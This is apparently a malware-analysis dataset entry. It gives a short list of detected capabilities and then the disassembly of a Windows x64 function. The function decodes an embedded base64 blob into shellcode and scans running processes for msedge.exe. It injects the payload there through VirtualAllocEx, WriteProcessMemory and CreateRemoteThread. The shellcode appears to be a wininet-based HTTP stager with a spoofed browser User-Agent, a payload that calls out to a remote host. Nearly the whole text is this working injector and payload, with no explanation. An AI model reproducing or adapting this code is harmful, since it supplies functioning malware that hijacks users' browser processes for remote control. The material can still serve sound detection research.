Function at 0x140001aa0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x200], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e8], xmm1
mov r8d, 0x1298
lea rdx, str.XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhjOFx4MDBceDAwXHgwMFx4NDFceDUxXHg0MVx4NTBceDUyXHg1MVx4NTZceDQ4XHgzMVx4ZDJceDY1XHg0OFx4OGJceDUyXHg2MFx4NDhceDhiXHg1Mlx4MThceDQ4XHg4Ylx4NTJceDIwXHg0OFx4OGJceDcyXHg1MFx4NDhceDBmXHhiN1x4NGFceDRhXHg0ZFx4MzFceGM5XHg0OFx4MzFceGMwXHhhY1x4M2NceDYxXHg3Y1x4MDJceDJjXHgyMFx4NDFceGMxXHhjOVx4MGRceDQxXHgwMVx4YzFceGUyXHhlZFx4NTJceDQxXHg1MVx4NDhceDhiXHg1Mlx4MjBceDhiXHg0Mlx4M2NceDQ4XHgwMVx4ZDBceDY2XHg4MVx4NzhceDE4XHgwYlx4MDJceDc1XHg3Mlx4OGJceDgwXHg4OFx4MDBceDAwXHgwMFx4NDhceDg1XHhjMFx4NzRceDY3XHg0OFx4MDFceGQwXHg1MFx4OGJceDQ4XHgxOFx4NDRceDhiXHg0MFx4MjBceDQ5XHgwMVx4ZDBceGUzXHg1Nlx4NDhceGZmXHhjOVx4NDFceDhiXHgzNFx4ODhceDQ4XHgwMVx4ZDZceDRkXHgzMVx4YzlceDQ4XHgzMVx4YzBceGFjXHg0MVx4YzFceGM5XHgwZFx4NDFceDAxXHhjMVx4MzhceGUwXHg3NVx4ZjFceDRjXHgwM1x4NGNceDI0XHgwOFx4NDVceDM5XHhkMVx4NzVceGQ4XHg1OFx4NDRceDhiXHg0MFx4MjRceDQ5XHgwMVx4ZDBceDY2XHg0MVx4OGJceDBjXHg0OFx4NDRceDhiXHg0MFx4MWNceDQ5XHgwMVx4ZDBceDQxXHg4Ylx4MDRceDg4XHg0OFx4MDFceGQwXHg0MVx4NThceDQxXHg1OFx4NWVceDU5XHg1YVx4NDFceDU4XHg0MVx4NTlceDQxXHg1YVx4NDhceDgzXHhlY1x4MjBceDQxXHg1Mlx4ZmZceGUwXHg1OFx4NDFceDU5XHg1YVx4NDhceDhiXHgxMlx4ZTlceDRmXHhmZlx4ZmZceGZmXHg1ZFx4NmFceDAwXHg0OVx4YmVceDc3XHg2OVx4NmVceDY5XHg2ZVx4NjVceDc0XHgwMFx4NDFceDU2XHg0OVx4ODlceGU2XHg0Y1x4ODlceGYxXHg0MVx4YmFceDRjXHg3N1x4MjZceDA3XHhmZlx4ZDVceDQ4XHgzMVx4YzlceDQ4XHgzMVx4ZDJceDRkXHgzMVx4YzBceDRkXHgzMVx4YzlceDQxXHg1MFx4NDFceDUwXHg0MVx4YmFceDNhXHg1Nlx4NzlceGE3XHhmZlx4ZDVceGViXHg3M1x4NWFceDQ4XHg4OVx4YzFceDQxXHhiOFx4YjhceDIyXHgwMFx4MDBceDRkXHgzMVx4YzlceDQxXHg1MVx4NDFceDUxXHg2YVx4MDNceDQxXHg1MVx4NDFceGJhXHg1N1x4ODlceDlmXHhjNlx4ZmZceGQ1XHhlYlx4NTlceDViXHg0OFx4ODlceGMxXHg0OFx4MzFceGQyXHg0OVx4ODlceGQ4XHg0ZFx4MzFceGM5XHg1Mlx4NjhceDAwXHgwMlx4NDBceDg0XHg1Mlx4NTJceDQxXHhiYVx4ZWJceDU1XHgyZVx4M2JceGZmXHhkNVx4NDhceDg5XHhjNlx4NDhceDgzXHhjM1x4NTBceDZhXHgwYVx4NWZceDQ4XHg4OVx4ZjFceDQ4XHg4OVx4ZGFceDQ5XHhjN1x4YzBceGZmXHhmZlx4ZmZceGZmXHg0ZFx4MzFceGM5XHg1Mlx4NTJceDQxXHhiYVx4MmRceDA2XHgxOFx4N2JceGZmXHhkNVx4ODVceGMwXHgwZlx4ODVceDlkXHgwMVx4MDBceDAwXHg0OFx4ZmZceGNmXHgwZlx4ODRceDhjXHgwMVx4MDBceDAwXHhlYlx4ZDNceGU5XHhlNFx4MDFceDAwXHgwMFx4ZThceGEyXHhmZlx4ZmZceGZmXHgyZlx4NGJceDUwXHg2Ylx4NTdceDAwXHg1Zlx4MmRceDM3XHg0N1x4OWNceDZiXHhkM1x4NWJceDNkXHgzOVx4YWFceDkxXHg2MVx4M2ZceDQ5XHhjYlx4MTBceGYyXHg2NVx4NGZceDE2XHhkNlx4N2VceDU2XHgwM1x4NDRceDg1XHhiMFx4MmFceDgwXHg2Mlx4MjhceDc0XHg3NFx4ZTZceGMxXHhiOVx4NWVceGQzXHg4MFx4ZGVceGM1XHhkYlx4ZGJceDkzXHhkNVx4M2JceDMzXHg1M1x4ZDFceDNmXHhkM1x4Y2JceGU5XHg2NFx4ZmFceDEzXHg2ZVx4ODhceGQ2XHhhNlx4M2NceDQxXHhkZVx4OWVceGY0XHg0YVx4NTJceDE5XHhkYlx4MWVceDFmXHg0M1x4MDBceDU1XHg3M1x4NjVceDcyXHgyZFx4NDFceDY3XHg2NVx4NmVceDc0XHgzYVx4MjBceDRkXHg2Zlx4N2FceDY5XHg2Y1x4NmNceDYxXHgyZlx4MzVceDJlXHgzMFx4MjBceDI4XHg2M1x4NmZceDZkXHg3MFx4NjFceDc0XHg2OVx4NjJceDZjXHg2NVx4M2JceDIwXHg0ZFx4NTNceDQ5XHg0NVx4MjBceDM5XHgyZVx4MzBceDNiXHgyMFx4NTdceDY5XHg2ZVx4NjRceDZmXHg3N1x4NzNceDIwXHg0ZVx4NTRceDIwXHgzNlx4MmVceDMxXHgzYlx4MjBceDU3XHg0Zlx4NTdceDM2XHgzNFx4M2JceDIwXHg1NFx4NzJceDY5XHg2NFx4NjVceDZlXHg3NFx4MmZceDM1XHgyZVx4MzBceDNiXHgyMFx4NzlceDY5XHg2NVx4MzlceDI5XHgwZFx4MGFceDAwXHgyOVx4M2FceGZkXHhhN1x4MjFceGJlXHgzN1x4NmZceDkwXHhkZlx4MWFceDI4XHhkNVx4MTlceDM3XHhiNFx4MDlceGQ1XHhmZFx4MmFceGNlXHgyYVx4OTNceDIxXHg2MVx4OGFceGQ0XHg1NVx4YjRceGY1XHg1Zlx4NmNceDAyXHgwNVx4NTNceDkzXHg2YVx4MjdceDQzXHhkY1x4ZWRceDE1XHhhMlx4MTFceGNmXHhmOFx4ZGRceDUzXHgxYlx4MmNceDExXHg4Nlx4MjVceDhiXHhmZFx4OWRceDQ2XHhlYlx4NThceDJlXHg1Nlx4ZDdceDJiXHg3NFx4MmNceDAxXHg3Y1x4ZWRceGZlXHg0Zlx4YmVceGRmXHg5Zlx4Y2RceDU1XHgwN1x4MDFceDJlXHhlY1x4M2JceDc0XHg0OFx4YmJceDdkXHgyNFx4YzhceGM2XHgyMlx4YmRceGQ3XHgzNVx4YzBceDJiXHhkOFx4MjdceGMxXHg0MVx4NGNceGFmXHhiOFx4MDhceDliXHhkYVx4MzNceDM4XHhiMFx4ZmNceDQ5XHg1M1x4YWVceDIxXHg1YVx4NjNceDIzXHgzNlx4YmJceGRhXHg0MVx4YjRceDI2XHg5YVx4YzZceGFiXHhmNFx4MzhceDQ1XHgxZVx4ODdceDAzXHg1NFx4MzdceGZiXHg5Mlx4NDhceGY0XHhlMFx4YzNceGZlXHg4OVx4ZTVceDQ0XHhhZVx4YTFceDFlXHhhYlx4NDNceDA5XHg4Mlx4ZTFceGVhXHhiM1x4Y2FceDQ0XHhmZVx4NjRceDcwXHhjNlx4YTdceDI0XHg3OFx4MTFceDIwXHg0N1x4OTFceDBiXHg1YVx4Y2RceDVkXHhkOFx4YmFceGQ5XHhkYlx4ZjJceGNkXHhhOFx4MzdceGZhXHgwN1x4ZTlceGY5XHhiOVx4OWRceDUzXHg2NFx4OGJceGE4XHg4YVx4ZWNceDU1XHgzM1x4NTdceDM3XHgyZFx4ZTNceDc0XHg0ZFx4OGFceDFkXHg1Zlx4ZDVceGM4XHgwMFx4MzJceDZhXHgwYlx4MGRceGRl
lea rcx, [rbp + 0x1d8]
call fcn.140002400
nop
lea rdx, [rbp + 0x1d8]
lea rcx, [rsp + 0x40]
call fcn.1400011f0
mov rbx, rax
lea rax, [rbp + 0x1d8]
xor esi, esi
cmp rax, rbx
je 0x140001b8a
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 0xf
jbe 0x140001b66
inc rdx
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b61
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001bbe
call fcn.140002d38
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x1d8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x1e8], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], sil
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140001bca
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001bc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001bc5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d38
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], rax
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x1a0]
call fcn.1400016d0
nop
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x140001f64
mov dword [rsp + 0x60], 0x238
lea rdx, [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001f5a
movabs r8, 0x7fffffffffffffff
mov ecx, 0xa
movabs rdx, 0x7ffffffffffffffe
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b8], xmm0
mov qword [rbp + 0x1c8], rsi
mov qword [rbp + 0x1d0], rsi
lea rax, [rbp - 0x74]
mov rdi, 0xffffffffffffffff
inc rdi
cmp word [rax + rdi*2], 0
jne 0x140001c63
cmp rdi, rdx
ja 0x140002030
cmp rdi, 7
ja 0x140001cc7
mov qword [rbp + 0x1c8], rdi
mov qword [rbp + 0x1d0], 7
lea rbx, [rdi + rdi]
mov r8, rbx
lea rdx, [rbp - 0x74]
lea rcx, [rbp + 0x1b8]
call sub.VCRUNTIME140.dll_memcpy
mov word [rbp + rbx + 0x1b8], si
mov r15, qword [rbp + 0x1d0]
mov rdi, qword [rbp + 0x1c8]
mov r14, qword [rbp + 0x1b8]
jmp 0x140001d68
mov r15, rdi
or r15, 7
cmp r15, rdx
jbe 0x140001cdc
mov r15, rdx
lea rcx, [r8 + r8]
jmp 0x140001cfd
cmp r15, 0xa
cmovb r15, rcx
lea rcx, [r15 + 1]
cmp rcx, r8
ja 0x140002036
add rcx, rcx
cmp rcx, 0x1000
jb 0x140001d29
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140002036
mov rcx, rax
call fcn.140002abc
test rax, rax
je 0x140001f53
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140001d3b
test rcx, rcx
je 0x140001d38
call fcn.140002abc
mov r14, rax
jmp 0x140001d3b
mov r14, rsi
mov qword [rbp + 0x1b8], r14
mov qword [rbp + 0x1c8], rdi
mov qword [rbp + 0x1d0], r15
lea rbx, [rdi + rdi]
mov r8, rbx
lea rdx, [rbp - 0x74]
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov word [rbx + r14], si
lea r10, [rbp + 0x1b8]
cmp r15, 7
seta r12b
cmova r10, r14
cmp rdi, 0xa
jb 0x140001f01
lea r11, [rdi - 9]
lea r11, [r10 + r11*2]
mov rax, r10
mov rcx, r11
sub rcx, rax
sar rcx, 1
je 0x140001f01
nop
cmp word [rax], 0x6d
je 0x140001db5
add rax, 2
sub rcx, 1
jne 0x140001da0
jmp 0x140001f01
test rax, rax
je 0x140001f01
mov r8d, 0xa
lea rcx, str.msedge.exe
mov rdx, rcx
mov r9, rax
sub r9, rcx
nop dword [rax]
nop dword [rax + rax]
movzx ecx, word [rdx]
cmp word [r9 + rdx], cx
jne 0x140001f4a
add rdx, 2
sub r8, 1
jne 0x140001de0
sub rax, r10
sar rax, 1
cmp rax, 0xffffffffffffffff
je 0x140001f01
mov r8d, dword [rsp + 0x68]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140001f01
mov r8, qword [rbp + 0x1a8]
sub r8, qword [rbp + 0x1a0]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x140001ef7
mov r9, qword [rbp + 0x1a8]
mov r8, qword [rbp + 0x1a0]
sub r9, r8
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001eee
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002210
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x1400023c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
mov r9, rdi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
je 0x140001eec
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
test r12b, r12b
je 0x140001f37
lea rdx, [r15*2 + 2]
mov rax, r14
cmp rdx, 0x1000
jb 0x140001f2f
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001f53
mov rcx, r14
call fcn.140002d38
lea rdx, [rsp + 0x60]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x140001c1f
add rax, 2
jmp 0x140001d90
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp + 0x1a0]
test rcx, rcx
je 0x140001fbc
mov rdx, qword [rbp + 0x1b0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001fa2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001fa2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d38
mov qword [rbp + 0x1a0], rsi
mov qword [rbp + 0x1a8], rsi
mov qword [rbp + 0x1b0], rsi
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 0xf
jbe 0x140002000
inc rdx
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ffb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ffb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002d38
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140002800
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011d0
nop
call fcn.140001130
int3